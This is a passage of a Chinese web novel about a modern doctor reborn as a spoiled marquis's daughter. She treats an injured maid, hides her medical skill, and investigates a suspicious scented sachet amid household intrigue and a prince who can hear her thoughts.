江伯玉眉头紧皱,孩子瞎转悠,必定在作妖!他可太了解江渺了,可不能让她做出什么出格的事!
“无妨。”一旁的玄衣男子先开口,他语气冷淡,听不出喜怒。
倒是他身边跟着的小侍从前川道:“侯爷,我家王爷还需尽快回宫复命,耽误不得。”
有了这一句提醒,江伯玉才反应过来,立刻将已经到嘴边的话咽了下去,脸上挂上讨好的笑:“是是是,是臣疏忽了。殿下公务要紧,臣这就带路。”
他转头,又瞪了江渺一眼,带着几分警告,匆匆介绍道:“渺儿,还不见过睿王殿下!一点规矩都不懂!”
睿王殿下?!
这几个字如同惊雷,在江渺耳边轰然炸响!
她猛地抬头,目光再次落在那个面色冷冷的男子身上,内心狠狠地压抑着不让自己露出诧异的神色。
睿王南宫煜!
竟然是他!
那个在大盛朝堪称传奇,却又令人闻风丧胆的睿王。
她脑中瞬间浮现出关于这位王爷的种种传闻:天资卓绝,十岁时便前往苦寒动荡的北郡,以稚龄之身居于边关。
此后十年,他整顿军务,练兵秣马,屡出奇谋,不仅稳住了防线,更是一步步收复了被北蛮侵占多年的二州十县!
捷报传回昌都城,举国震惊,陛下龙心大悦,破格在他十五岁时便册封其为“睿王”,权柄赫赫,风头无两。
然而,与他的赫赫军功一同传来的,还有他“杀人不眨眼”、“冷酷无情”的名声。
传闻他治军极严,手段铁血,对敌人更是从不留情,北蛮人闻其名而胆寒,私下称其为“修罗王”。
可就是这样一位惊才绝艳的王爷,在原主的记忆里,最终的结局却是……英年早逝,早早离开了人世!
而且这一切,就在不久之后!
也正因他的突然薨逝,国丧期间禁婚嫁,阴差阳错地延误了原主与陵王的婚期,惹得原主在家中跳脚大骂,直斥睿王死都不会挑时候,平白耽误了她的好事。
那会儿作为鬼的江渺一边看着原主骂骂咧咧,一边为此愤恨不已,站在画面外锤足顿胸,为了睿王打抱不平。
心里还想着,在鬼生之年,若有机会也要见见这位传闻中的天才是何等风彩。
却万万没想到,如今竟成了现实……,他活生生的站在自己的面前。
如此近的距离,她甚至都能感受到他周身释放的威压和冷意。
转瞬,又觉得喉头一凉,那崖底的风似从脚底升起。
别别别,风采看过了,小命要紧。
先不论传说是否为真。那夜,他险些杀了她。
与这样的人物扯上关系,那简直在玩火。
还好刚刚没有暴露自己认识他。
一时间心绪复杂,江渺不敢抬头,生怕对方看出什么端倪。只得低头行礼,快点逃离是非之地。
就在她转身要溜之大吉的一瞬间,一个声音轻飘飘的落到睿王耳里。
【长得好看是好看,就是命不太好。】
【难道睿王早亡是因为……】
南宫煜眼眸猛地收紧,脚步一顿他突然回身看向已经走远的江渺。
“主子?”
一声轻唤让他回神。
刚刚那个声音,清晰得并不像是他的幻觉,可那内容……
“没事。”
他沉默片刻,重新抬脚,几人快步离开了花园。
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另一边,江渺几乎是跑着冲进了安置那重伤女子的偏僻客房。
一进门,便见女子身体抽搐嘴角挂着带血丝的呕吐物。
“小姐,您看,她……她从刚才开始就一直这样了!”阿泉带着哭腔道。
江渺点头,立刻扑到床边,伸手探向女子的颈脉,又迅速扒开她的眼皮查看瞳孔。
脉象紊乱浮滑,瞳孔对光反应有些迟钝,再结合这喷射状的呕吐和抽搐……
应是头部的伤,江渺瞬间做出了判断。
她们从崖顶坠落,虽侥幸生还,但撞击和震荡很可能造成了颅内受损,之前伤势被其他更明显的外伤掩盖,如今才爆发出来。
“阿洛,药箱,给我!”
她一边吩咐,一边迅速将女子的头偏向一侧,防止呕吐物堵塞气道,并用帕子清理她口鼻周围的污物。
阿洛立刻将手上的箱子递过来。
这箱子里是她根据记忆和自己研究改良后,亲自配置的随身宝库。
一堆瓶瓶罐罐里面没有现成的、针对如此急症的成品药,但原料充足。
“阿洛,将第三排那个红色琉璃瓶和旁边蓝色瓷瓶打开,各取三分其中的粉末,混合在玉碟里。另外,再取一瓶酒来。”
她语速极快,手上已取出银针,有条不紊地扎进了阿洛不知道的穴位。
听得小姐吩咐,阿洛也不敢耽搁,压着心里的恐惧,按照交代的内容,给江渺打起了下手。
眼见着小姐手中银针起落,动作流畅得仿佛演练过千百遍,竟比府中供养的老大夫看起来还要娴熟老练。
阿洛不禁疑窦丛生。
她从五岁起就跟在小姐身边,见她从乖巧懂事变得越来越飞扬跋扈,也见她不爱闺阁礼仪,读书写字,整日沉迷于歌舞酒宴,花枝招展。
小姐,何时学会了行医?
自从那日小姐失踪后,就变得不太一样了。
不过,如今的小姐知书达理,体贴入微,还是现在好。
阿洛一边想着一边镇定地将物品递给江渺。
不多时,女子急促的呼吸平稳下来。江渺重新为女子号了脉,见脉象趋近正常,这才松下气来。
最近,本来她脑海里支离破碎的片段,不知是否是因为她灵魂与这俱身体日益契合而变得清晰起来。
她想起了一些做鬼时候没有看到过的事。
起先,她拼死救这女子的原因,是因为她记得在原主命运轨迹中,因为这件事情被陛下问责而锒铛入狱,随后惨死街头。
而那些记忆开始苏醒后,她才知道这名女子名叫丹桂,是侯府真千金林清月的丫鬟,也是心腹。
她受林清月爷爷所托替她寻亲,确认情况的,但是抢先被原主得知消息,而后残忍杀害。
当回府的林清月查明了丹桂惨死真相,开始对原主进行反击。
是了,江渺想起来了,那个梦里,隐藏在黑暗中的男子的脸,那是陵王。
是她即将被赐婚的未来夫婿。
而她的夫婿深爱着林清月。
他们联手将她置于万劫不复之地。
逐渐清明的记忆点燃了江渺灵魂深处的恐惧。
不,不是她在恐惧。
是原主这俱身体残留的,来自灵魂湮灭前最深刻的恐惧和剧痛。那些在阴暗潮湿的地牢里积攒的哀怨与诅咒,正在引得江渺忍不住颤抖。
突然,床上的丹桂轻声哼咛了一声。
这声呻吟如同一盆冷水让江渺豁然清醒过来。
不对,那不是她的命运。
她不是原主,此生不可能再重蹈覆辙!
6.第 6 章
涵清阁
此刻茶香袅袅。
江灵儿吃了点心便感觉有些困倦,索性直接在江璟儿的榻上歇下。
望着妹妹那毫无防备、甚至带着几分天真憨态的睡颜。
江璟儿眸色深了深,几不可闻地轻叹一声,抬手揉了揉微微发胀的眉心。
她起身,收拾好桌面的狼藉。又重新拿出一套茶具。
那白瓷茶具虽然算不上顶好,却是她珍视的物品。
她用温水将茶具细细烫过,然后从那个小巧精致的罐中,又小心翼翼地取出些许茶叶,重新为自己沏上一壶。
动作轻柔,带着一种近乎虔诚的仪式感。
这罐雨前龙井,是她去年柳如云生辰时,历经艰难才终于绣成的璇玑图,勉强讨得了柳如云一时欢心,而得来的赏赐。
这是她这涵清阁里,能拿出的最好的、也是最体面的待客之物了。
每每取出,她都需得斟酌分量,生怕用得太快。
可是……
江璟儿执起茶壶,将澄澈碧绿的茶汤注入杯中,氤氲的热气模糊了她眼底一闪而过的自嘲与冰冷。
可是这最好的茶,在暗香斋却是一份不够新鲜的日常消耗。
虽说是旁支,可她身上流淌的却是正经的江家的血。
江渺,她凭什么?
江璟儿握紧了手中的茶盏,那滚烫的温度透过薄薄的瓷壁灼烧着她的掌心,却远不及她心里的不甘炙热。
她想着,落霞突然从门外进来,小声的唤到:“小姐。”
江璟儿无声地敛好自己的情绪,冷冷道:“说。”
落霞小声道:“渺小姐去了花园,被老爷训斥了。”
“嗯?”
落霞一五一十地将自己看到的说了一遍,没注意到江璟儿脸上扬起的笑意。
传闻睿王杀伐果断,惹了他的都没有好下场。
可真是天助我也。
“那睿王什么也没说?”
“没有,但是奴婢看到睿王殿下回头看了渺小姐一眼。”
“知道了。”
落霞想了想又道:“渺小姐去了后院,奴婢本来想跟上去看看的,但是那边有人看守,奴婢过不去。”
“后院?看守?她现在还在吗?”
“奴婢过来的时候渺小姐还没出来。”
江璟儿眸光微闪,抬抬手:“你继续盯着,有什么事再来禀报。”
落霞应声退了下去。
江璟儿则回身看着床上的妹妹笑道:“灵儿,快起来,姐姐给你寻了件好玩的东西!”
*
江渺亲自将阿洛熬好的药端过来给丹桂服下。
因为伤到了头,就连江渺也不确定她什么时候可以醒来。
若是在现代……
江渺用帕子轻轻擦拭丹桂嘴边的药液,心中升起一丝无力感。
若是在现代,一台CT,一张颅内影像片,就能清晰的判断受伤位置,淤血大小。
甚至可以通过精准的手术进行清创。医生也能根据情况预估醒来的时间。
可这个地方,别说手术这等惊世骇俗之举,连正经的行医看病,竟不受待见。
这个事情江渺倒是没想到。
原主不爱读书,更遑论学医,所以在她的记忆里对此并无概念。
江渺想过等到侯府事情了结,林清月归位,她也没有危险后,便用这身医术讨口饭吃。
自古以来,医者济世救人,是百姓心中本是值得尊重的职业。
可是经过阿洛的解释,江渺也是才知道,在大盛朝,当今皇帝陛下沉迷长生之术,崇尚道家炼丹,追求虚无缥缈的仙道,朝野上下风气随之倾斜。
陛下身边最爱的是精通丹鼎之术的“真人”、“天师”。
太医院形同虚设,真正的医术被斥为“小道”、“未技”。
优秀的医者得不到应有的尊重和地位。
连孩童的启蒙也变成修仙问道,而学医则变成了旁门左道。
无人学医,医术如何精进?
许多珍贵的医典孤本蒙尘,高明的医术因后继无人而失传。
民间郎中的水平参差不齐,遇上疑难杂症往往束手无策。
更可怕的是,各种愚昧的迷信思想大行其道。
生病了不是就医而是驱邪,跳大神。
死亡了就是羽化成仙,命该如此。
如此一个世界,自己一身医术到底是福是祸,尤未清楚。
想到这里,江渺不由地轻叹一口气。
看来,往后行事需得更加谨小慎微,不可在外人面前轻易露出自己的……底牌。
江渺唤来阿洛,低声交待:“今日我与你说的一切,必须烂在肚子里。若有人追问我的医术,你便说……说是我在寺中休养时,偶然得了本残缺的医书,自己胡乱翻看,略知皮毛,全凭运气罢了。”
阿洛点头承诺:“放心吧。小姐,打死奴婢,奴婢也不会泄露半句。”
江渺闻言,抬头看向阿洛,眼光落在房梁上,突然怔住了。
*
“主子,江小姐好像发现我了!”
前川哭丧着脸,小心回禀。但是没有迎来预想中的暴击,他有些疑惑地看向南宫煜。
“你传书给飞卢,让他不必再跟踪了。速速回府。”
前川:?
王爷怎么撞到江小姐以后,就奇奇怪怪的?
先是找了个借口支开长阳候,又亲自跑到这房梁上来听墙角。
十年不开花的铁树,难道被江家小姐迷住了?!
前川被自己这个大胆的猜测吓了一跳,偷偷觑着主子的侧脸,试图从那冷硬的线条里找出哪怕一丝“春心萌动”的痕迹。
南宫煜自然不知道他脑子里的想法,只是低头盯着院落里的那棵石榴树,思索着那日他昏迷时候看到的模糊影像。
他就说他明明看到一个女子背影。
怎么后来前川说救他的是一名村夫。
但是哪个女子会为了他人而将自己的衣裙拿来充当绷带,光着膀子在外人面前来去自如?
更何况还是侯府千金。
一切都有点令人匪夷所思,且那时不时就飘进他耳朵里的那些声音是怎么回事?
他能听到她的心声?
为什么?
是因为她救了他?
可是那内容……
还有她为什么出现在深山里?
她是不是那些人的一员?
无数个猜测在他的脑海里掠过。
前川盯着主子思考的样子,心里嘀咕得更响:完了完了!主子这是中邪了吧。
“不,去告诉飞卢继续跟着,但是任务变成保护他。”
前川:?
主子行事怎的也飘忽不定?刚刚还说不管别人了,现在又要保护人家。
“干嘛?快去。”南宫煜催促。
他看得清楚,江渺这人肯定有秘
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密,她的人他要捏在自己手上!
如果她真的是那方的人,那她,绝不能留!
“是。”前川一跃而起,消失在墙边。
*
“小姐,怎么了?”
见江渺怔怔地越过她看向梁顶,阿洛也喃喃自语着抬头。
可是什么也没发现。
再低头下来,小姐的目光已经收回来,低着头在思考着什么。
她忍不住出声询问,却见江渺对她做了一个噤声的动作。
“无事,刚刚好像有灰尘进了眼睛。”
江渺随口说道,却不像是说给阿洛听的。
没想到南宫煜真如传言中所说一般多疑敏感。
自己那么小心翼翼的掩饰,却也被他看出了端倪。
刚刚那双眼睛,分明就是他身边那位小侍从的。他竟派人来跟踪她!
那他看到她行医了?
他是不是也知道了崖底救他的人是她?
这个认知让她心头一紧。
江渺可不敢想南宫煜会感谢她。
相反,她知道了他的秘密,说不定会被杀人灭口也也未可知。
但他一代枭雄,犯不着和她一个女子计较吧?
他要是针对她。
她就鄙视他!
画个圈圈诅咒他!
不制解药去救他!
房梁上的南宫煜正欲转身,突然听到两句带着孩子气的恶毒话落入耳中,他身子便在空中一歪,险些摔倒。
可他走的太快,没能听到最后一句。
江渺胡思乱想了一会儿,决定静观其变。
反正是福不是祸,是祸躲不过。
如果有什么,捋起袖子,干就完事!
这时,院墙外突然传来一阵喧闹。
“渺姐姐,姐姐,你是不是在里边啊。诶,你们这些不长眼睛的,拦着我做什么?”
江渺看了一眼阿泉拍拍她的肩安抚好她的情绪后,带着阿洛便走了出去。
一开门,就见江灵儿叉着腰,对着守门的婆子怒目圆睁,见她出来立刻挂上笑脸迎上去:“渺姐姐,我就说你在这里。这些个婆子还拦着我。”
江渺示意几人让开,她伸手将江灵儿因为奔跑而凌乱的衣衫拉上,柔声问:“你不是回去了么,怎的又寻到这里来了。”
江灵儿献宝似的举起手中一个造型精巧的银制九连环,雀跃道:“你看这个!是不是很新奇?姐姐方才给我的,难解得很!我摆弄了半天也解不开,就想着拿来给渺姐姐你看看,你向来最是聪明了!”
她说着,眼睛却往江渺身后的院子瞟,“渺姐姐,你在这里做什么呀?”
江渺不动声色的阻挡了江灵儿探究的目光,伸手拉过她的胳膊,无奈笑道:“过来散散心罢了,对了,你不是说邀我去看锦鲤么,这会儿天气尚好,我们一同前去吧。”
谁知江灵儿瘪瘪嘴:“我去你的院子,刚刚又跑过来,太累了。”
她的眼珠骨碌碌转了转,像是突然想到了什么好主意:“对呀,我房间离这里近,不如……去我房里坐坐……吧。”
她说这话语气渐渐落下来,突然想起她们院子偏,从前江渺嫌弃都不肯踏足,她邀请过她,却被她拒绝了,有时还会换来几句奚落。
怎的嘴太快,又说了出来……
江灵儿有些懊恼,忐忑的看了一眼江渺,却见她浅笑道:“好啊。既然妹妹诚心想邀,那便去你那里坐坐吧。”
7.第 7 章
万安寺一事还悬而未决。
江渺已经吩咐了人下去调查那女刺客的身份。
如今虽然还没有消息传回来,但她深知自己也不能等着线索上门。
女刺客最后见的人是江灵儿。
通过最近的观察,江渺觉得江灵儿此人咋咋呼呼,看似任性,实则并无太深心计。
倒是那一向行规矩步,温婉贤淑的江璟儿,看似滴水不漏,反而更引人怀疑。
她正想找个机会去涵清阁会会江璟儿,这江灵儿的邀约倒正是时候。
几人一前一后的来到涵清阁,可进了门这才发现江璟儿恰巧不在。
院里的婆子说璟儿小姐出了门,江灵儿并不在意,便径直拉着江渺去了自己的房间。
屋内陈设简单,并无多余的装饰。比起江渺的院子,真是天差地别。
看来,江家姐妹在侯府的日子过得并不富裕。也难怪原主怎么也不肯来这地方,偏僻不说,还很寒酸。
江灵儿拉着江渺去最好的位置坐下,又亲自给她沏了杯茶。
丫鬟上来点心,江渺拿起一块状似无意地说道:“看到这个,就想起了在万安寺,那地方可是连块糕点也没有。”
江灵儿将糕点全部推到江渺面前:“我院里的糕点比不得渺姐姐院子里的。渺姐姐若是喜欢,多吃两块。”
糕点拿起又放下,江渺话锋一转,故作忧愁:“说到万安寺,就又想到那贼人。母亲受了惊吓,这几日都在静养。”
啪的一声。
江灵儿一掌拍在桌上,柳眉倒竖,怒目圆睁道:“此等用心险恶,敢来惊扰婶母的贼人,就该千刀万剐。依我看,就应该带回府里来,打死给婶母报仇才算数!”
江渺眸光微闪。
江灵儿似乎不知道贼人已死,可是她小小年纪,戾气未免过重了些。
于是她轻声道:“将贼人交给官府依法处置,仔细审问,若能问出幕后主使者,才是真正解决问题,以绝后患之法。”
“对呀,要把那些藏在背后的爪牙拔掉才行!”江灵儿喃喃道:“就是不能打死令人生气!”
江渺盯着她不神情不像作伪,微微挑眉道:“灵儿妹妹,为什么觉得一定要打死才行?”
等到江渺问出这句话,江灵儿突然愣了愣,眼里闪过一丝迷茫,但很快,她脱口而出:“我们以前不都这样吗?渺姐姐你也常说,对待这些低贱的人、坏人,就要狠心,不能心软,不然他们就会觉得我们好欺负,就要爬到我们头上来作威作福了。”
“再说了,那些卑贱之人的命,怎么能算命!”
江渺心头一紧。
原主啊,原主,你看你都把小孩子教成什么样了。
是非观念扭曲,视人命如无物,这哪里是一个侯府小姐该有的心性?
上位者若皆是这样,只知滥用权势,肆意践踏,视百姓如蝼蚁,草芥人命……
那这世界岂不是地狱?
水能载舟,亦能覆舟。
想了想,轻声引导道:“灵儿妹妹,以前是渺姐姐想岔了,说的话不对。以后我们不要动不动就打打杀杀了,好吗?”
“每个人,无论出身高低,性命都是一样珍贵的,本质上是平等的。”
“坏人做了坏事,自然有律法、有官府,由应该去管这些事情的人,去依照规矩来审判和惩罚他们。我们私自用刑,反而会让自己也变得不占理,甚至可能触犯律法,那就不值得了,对不对?”
江灵儿似懂非懂地看着江渺,眼里的疑惑在眼里荡开。
渺姐姐,为什么突然说这些。
总感觉有点奇怪……
可是,眼前之人就是渺姐姐呀。
江渺见她神色变幻,深知冰冻三尺非一日之寒,也不是一朝一夕能够改变的事情,遂笑道:“瞧把你吓得,小脸都皱成一团了。姐姐只是随口一说,你只需记住,女儿家还是温柔娴静些更招人喜欢,以后莫要再把打打杀杀挂在嘴边就是了。”
这话江灵儿听懂了。
“渺姐姐怎么说,灵儿就怎么做。”她笑着应承。
两人又在房间里玩了一会儿九连环。
江渺想着自己还有要事,又见江璟儿迟迟未归,今日怕是遇不上了,便起身告辞。
正要出门,江灵儿像是想起了什么,突然拉住神神秘秘的从里间抱出来一个匣子。
随着她的步伐,房间里弥漫开来淡淡的香气。
江灵儿将匣子放在江渺旁的花桌上,伴着她打开匣子的动作,香味越发浓郁。
却听她道:“渺姐姐,你教我解九连环,我要送你一个礼物!” 她打开匣子,里面装着各式各样的小玩意。
她从中拿起一个用彩线编织、造型别致的长命缕,“这个给你。可灵验了!”
江渺的眼光从她的手上滑过,最终落在匣子角落一个精致的牡丹花荷包上。
那奇异的香味就来自于此。
“谢谢灵儿妹妹,那,荷包……”
她话还没说完,江灵儿就猛地缩手将匣子盖上,语气带着不自然:“渺姐姐……这,这荷包是,是姐姐送我的……”
她说到后边声音越来越小,不由地还抬眼看了一眼江渺。
可见江渺笑笑:“我是见这荷包造型别致,想要看看罢了。”
闻言,江灵儿露出笑容。
原来不是抢荷包……
她大方地将荷包取出递给江渺:“喏,你看吧,姐姐的绣工是顶好的。渺姐姐若喜欢,我让姐姐也给你做一个。”
江渺接过荷包,异香浓郁。心下有丝疑虑,转身看似随意地将荷包递给身旁的阿洛,笑道:“阿洛,你也看看,这绣法是不是很精致?”
阿洛早已会意。
手上动作极快地变换着,嘴上附和道:“回小姐,这绣工确实精致非常,花样也鲜亮,奴婢怕是学不来呢。”
江渺见阿洛已经取到香料,便将荷包还给江灵儿。她并不想打草惊蛇,便拒绝要江璟儿再做一个的提议。
谢过江灵儿后,主仆二人一起离开了涵清阁。
*
江璟儿从外面办事回来。
一进门便听说江渺来过。她不免心头一紧,面上闪过疑惑的神情。
这江渺不是从不踏足涵清阁么。
什么风将她吹来了?:
带着疑问,还未及探究,江灵儿又风一样的跑过来,脸上还带着得意的笑:“姐姐,姐姐,你看这个九连环,我已经解开一半了。”
江璟儿瞥了一眼她手上的物件,问道:“你不是去找渺妹妹了吗?她来过了?你可曾看到什么?”
看到什么?
什么也没看见。
江灵儿想了想,摇摇头:“渺姐姐就在后院转了转,她说去散心呢。然后我就邀请渺姐姐到我房里坐了坐?”
“嗯?”
江渺去江灵儿房间了?
虽然觉得江渺那草包不足为惧,就算她来了也没关系,可是一瞬间江璟儿还是有丝慌乱,最近事情进展得也太不顺利。
冥冥中只觉得不放心,遂追
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问道:“她去你房间做什么了?”
江灵儿记得江渺的嘱托,只说到:“渺姐姐本来是看看你,结果你没在,我们就在房里吃了点点心,玩了一会儿,渺姐姐就回去了。”
她说完见江璟儿若有所思的样子,忍不住追问道:“渺姐姐应该说什么做什么吗?”
姐姐问这话也太奇怪了。
江璟儿不知道江灵儿心中所想,但是被她一问,也怔了几秒,很快又反应过来笑道:“渺妹妹从不来我们院子,姐姐只是好奇罢了。”
江灵儿点点头,“渺姐姐说以前是她怠惰,不愿跑太远。姊妹之间还是要多往来,以后会常来我们这里玩。”
常来玩?
一瞬间江璟儿神色微变,疑惑爬满了了心头。
这倒是奇了。江渺向来看不起她们姐妹两个,如今却主动示好。
为什么?
难道她知道了什么?
想到这里,她突然伸手抓住江灵儿,语气有点急促的问道:“妹妹,姐姐送你那个绣着牡丹的荷包在哪里?”
江灵儿答:“在我的匣子里,哎,姐姐,你弄疼我了。”
江璟儿意识到自己有些失态,立刻松开手,又温声细语道:“没什么,是姐姐不好。就是姐姐突然想起来当时放香料时少放了一味安神的,你去取来,姐姐给你补上。”
江灵儿揉揉胳膊点头示好。转身去了房间。
江璟儿则看着江灵儿的背影有一瞬间的失神。
*
用过晚膳,天色尚早。
柳如云身边的丫鬟来传话,说是府里新进了一批上好的云锦和苏缎,夫人让小姐过去挑几匹喜欢的,好裁制赏花宴的衣裳。
江渺依言前往主院。
柳如云正坐在暖榻上,面色比前两日红润了些,见她来了,脸上便露出慈爱的笑容,指着桌上铺开的各色流光溢彩的布料让她挑选。
江渺仔细看了看,这些料子确实精美,无论是织锦的繁复还是缎面的光滑,都属上乘。
她随意选了两匹颜色清雅的给自己。
随后目光在剩下的布料上流转,又特意挑了一匹云锦和苏缎放在旁边。
她回头看向柳如云,语气温顺地请示道:“母亲,这匹天青色的云锦沉稳,很适合璟儿姐姐的气质;这匹樱草色的苏缎明快,给灵儿妹妹做裙子定然好看。不如将这两匹也一并裁了,送给两位妹妹可好?”
闻言,柳如云不解地目光投过来。
往日有什么好的东西,江渺都是紧着自己,哪里顾得上旁人。且她一向对江家姐妹都视若无睹,怎的会主动提出给她俩裁衣服?
不禁疑惑道:“渺儿,你怎的突然想起给她们做衣服了。你,你是不是做了什么……”
江渺早料到柳如云要说什么,立刻摆出原主的样子,撒娇般的靠在柳如云旁边,委屈道:“母亲!您想哪里去啦。只是,只是万安寺回来后,渺儿觉得从前是渺儿太自我,家和万事兴,都住在一个屋檐下,应该友善和睦相处,也不让父亲母亲为我们这些小辈操心。”
柳如云听她如今说话比从前懂事了许多,也不再怀疑,便道:“渺儿喜欢就好!”
见柳如云面露喜色,江渺顿了顿,终于开口仿佛无意的说道:“嗯嗯。近来渺儿也会想,若是……若是妹妹没有走丢,那我们府里就更热闹了……”
她话音刚落,但见柳如云倏然神色大变,瞬间面如死灰。随之身形剧烈一晃,眼见着就要瘫软下去。
江渺愣了。
“母亲!”
8.第 8 章
江渺没有料到柳如云在听到有关于林清月的事情的时候会有这么大的反应。
她手忙脚乱的将柳如云安抚住,摸了摸她的脉搏无事,这才将一颗悬着的心放了下去。
当初,林清月是怎么认祖归宗的?
江渺在记忆里搜索了许久,对于这个情节却没有太多的信息。
只是知道百花宴过后,林清月就入府了。
随后江伯玉替林清月举办了一场盛大的认亲宴,原主为此气得咬牙切齿。
再后来,她不知哪里寻来毒药,准备毒死林清月。
可又不知怎的柳如云误食了毒药,因此香消玉殒。
信息太少,所以她才被柳如云的反应吓了一跳。
她在医院见过太多的生死离别,对于一位母亲来说,最难以接受的便是与自己的骨肉分开。
柳如云的反应看起来是为爱女的走失而感到痛彻心扉。可江渺总觉得其中惨杂了一丝……抗拒。
她正想着,江伯玉急急忙忙地进来。
“如云……这,这怎么回事?”
他听说柳如云晕倒了,连忙赶来。一进门便看到榻上脸色不太好的柳如云,顿时面色铁青,对着微云吼道:“你是怎么照看夫人的!大夫呢?去叫大夫了吗?”
一连串的问责将微云吓得扑通一声跪倒在地,瑟瑟发抖。
“父亲息怒。”
江渺赶快上前,身子挡在微云面前,语气里带着自责和惶恐:“不管微云的事。是女儿,是女儿不好。还请父亲责罚女儿一人。”
江伯玉的目光落下来,如针刺一般打量江渺,她又闯什么大祸,惹得如云惊惧昏倒?又突然想起午前江渺冲撞了睿王的事情。
这女儿,真是被娇惯得无法无天,一点也不让人省心。
确实要好好管教才行。
他语气里带上了从前未曾有过的威压:“责罚?你如今倒学会了主动请罚了。你倒说说,你是怎么将你母亲气晕的。”
江渺回头看了一眼面色有些惨白的柳如云,马上有了说辞:“父亲,女儿只是见母亲身子渐重,心中欢喜,偶然想起若家中姐妹更多些,或许更能为母亲分忧解劳……便,便无意间提了一句,若走失的妹妹还在就好了……女儿真的不知道,这句话会勾起母亲如此深的伤痛……女儿知错了,真的!”
“你!”闻言,江伯玉张张嘴,想要责骂,最终又变成一记沉重的叹息消散在空中。
不仅是如云。
这个孩子也是他的心头痛啊。
可仔细想来,渺儿也无甚错处。她只不过不懂那旧事的沉重。
“罢了!你母亲如今身子重,受不得刺激。你以后莫再提此事了!”
江伯玉甩甩手不再理江渺,上前一步看望柳如云。
得知柳如云和腹中胎儿皆无大碍,只是需要静养,他那颗一直悬在嗓子眼的心,才终于缓缓落回实处,翻腾的心绪也感觉稍稍平静下来。
他已经失去了一个孩子。如今如云腹中的孩子是他盼了多年的希望。
本来他并不想爱妻再受生产之痛,也对再有一个孩子不抱希望。
可是上天似乎怜惜他,给了他一个意想不到的恩赐。说什么,他都要好好的保护好他们母子。
江伯玉又仔细唤来几位府中年纪大、经验丰富的老嬷嬷,事无巨细地交代了许多注意事项,安排妥当,他这才稍稍安心,转身离开了房间,往书房方向走去。
可他前脚刚踏入书房,还没来得及喘口气,后脚便见江渺带着贴身丫鬟阿洛跟了进来,阿洛手中还提着一个精致的食盒。
“父亲。”江渺屈膝行礼,姿态恭顺。
江伯玉见到她跟来,眉头微微蹙了一下,心中有些不解,方才在屋子不是已经说清楚了吗?
难道……
她又惹了什么事?
想到这里,语气不免带上一丝疲惫:“渺儿?还有何事?你不照看你母亲,跟过来做什么?”
江渺示意阿洛将食盒放在一旁的茶几上,自己则上前一步,脸上浮现几分担忧与欲言又止:“女儿知道。女儿想着父亲匆忙回来,想来应该还未用膳。便让厨房做了点心送过来。父亲先用一些,保重身子。”
江伯玉见江渺如此懂事,语气不由稍加缓和:“渺儿有心了。”
他刚说完,江渺便轻抚着胸口,心有余悸道:“父亲,今日渺儿见母亲那样,女儿心里……很是难安。”
“难安?”
“是的。都怪女儿一时失言。”
她突然抬头起来看着江伯玉,语气中带着些许探究:“父亲,女儿只知道女儿入府前母亲曾生下一个妹妹,后来妹妹离奇失踪……,
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这,这是怎么一回事?”
江伯玉看着江渺眼中那份困惑,心中那道尘封的伤疤仿佛又被轻轻揭开,泛起绵密的痛楚。
女儿大了,有些事也应该让她知道了。也许知道了她才能避开不谈,免得再让如云伤心。
他沉默了片刻,书房内只闻烛火轻微的噼啪声。
最终,他长长地叹了口气,缓缓开口:“唉……既然你问起,告诉你也好,只望你日后更加体谅你母亲,莫要再在她面前提及半分。”
“当年,你母亲怀着你妹妹,去祥云寺上香祈福。也是巧合,遇上了正在静修的婉妃娘娘。”
江伯玉的目光变得悠远,仿佛穿越回了那一天,“谁知……恰逢婉妃娘娘家中突遭巨变,传来了噩耗。婉妃娘娘听闻后,承受不住,当场便昏厥了过去。”
婉妃?
有点印象。
江渺思索一番,想起来她是睿王的生母。
此事竟然和婉妃也有关联?!
江渺静静地看着江伯玉,听他道:“当时,现场乱做一团。不知何人撞倒了你母亲,惊了胎气。”
幸得婉妃娘娘身边那位经验老道的乔嬷嬷临危不乱,出手相助,才勉强稳住情况,并在寺中的禅房里,帮你母亲提前生下了你妹妹。”
然而,江伯玉的语气随即急转直下:“可是祸不单行。当天夜里院中不慎走火,婉妃受了伤,你妹妹也在那场大火里离奇失踪了。”
他的声音沙哑下去,痛恨自己那日为何没有陪伴柳如云去佛寺。
如果他去了,一切就有转机。
这么多年,柳如云也不会对自己如此冷淡……。
想到这里感觉心痛如绞。
一低头对上江渺探寻的目光,他才继续哽咽道:“你母亲身子本就弱,受此打击险些丧命。后来我带你母亲外出散心,看到了你……”
后面的事情江渺就知道了。
两人都是爱女心切,如果他们知道他们的女儿还活着,会不会很高兴。
江渺刚想试探一番,又听江伯玉道:“这件事情你已经知道了,以后就莫要再提起有关于妹妹的事情了。”
他挥挥手,显然是不想江渺再将话题进行下去。
江渺到口中的话咽了了下去。
看来,让林清月回府这件事情,只能靠自己了。
9.第 9 章
这几日江渺几乎足不出户。
她需要时间思考,更需要制定一个周详的计划。
核心目标有两个:一是确保林清月能安全地认祖归宗,并设法与她化敌为友,结成同盟;二是找出隐藏在暗处,设计伤害自己的黑手。
只要她不再像原主那般愚蠢地与林清月作对,主动将侯府嫡女之位拱手奉还,那么,柳如云误食毒药而亡的悲剧或许就能避免。
她也不会成为陵王的眼中钉肉中刺,最终惨死于皇室。
想到这里,她又觉得原主那一系列作死行径着实可笑,简直是“不作不死”的典型范例。
嫉妒蒙蔽了双眼,最终引火烧身。
她可没那么傻,一步一步踩进别人设好的陷阱。
江渺的目光落在书案上从江灵儿荷包里取来的香料上。
她让阿洛跑遍了整个昌都的药铺,更派人去了一些隐蔽的黑市。
然而,一连几日,带回的消息都令人失望,并无人识得此物成分。
倒是一家专营域外杂货的老店家,在仔细嗅闻后,迟疑地告知阿洛,这香料的气味不似大盛朝境内所产,倒有几分像北蛮那边流传过来的东西。
北蛮?
这个线索让江渺心情有些烦躁。
北蛮地处边境,原主从未踏足过的蛮荒之地。凭她的记忆是不可能对此香料有任何深入的了解。
可连昌都这么多家药铺、见多识广的坐堂大夫和药材商都不识得此物,她还能上哪儿去寻找答案?
难道真要冒险去接触那些来自北蛮的商队?且不说风险极大,对方也未必肯透露这等隐秘之物。
一时间竟找不到解决办法,江渺只得暂且将香料收好,决定之后再从长计议。
这时,江灵儿像一阵风似的急急忙忙跑了进来,脸上带着兴奋的红晕,嚷嚷道:“渺姐姐!你怎么还在这里坐着呀?时辰快到了,你收拾好了没有?”
江渺被问得一愣,有些茫然。
一旁的阿洛连忙小声提醒:“小姐,您忘了?今晚是昌都一年一度的提灯盛会啊!夫人前日还说了,今年她身子爽利,要带着府里的小姐们一同去观灯游湖呢!”
江渺这才恍然。
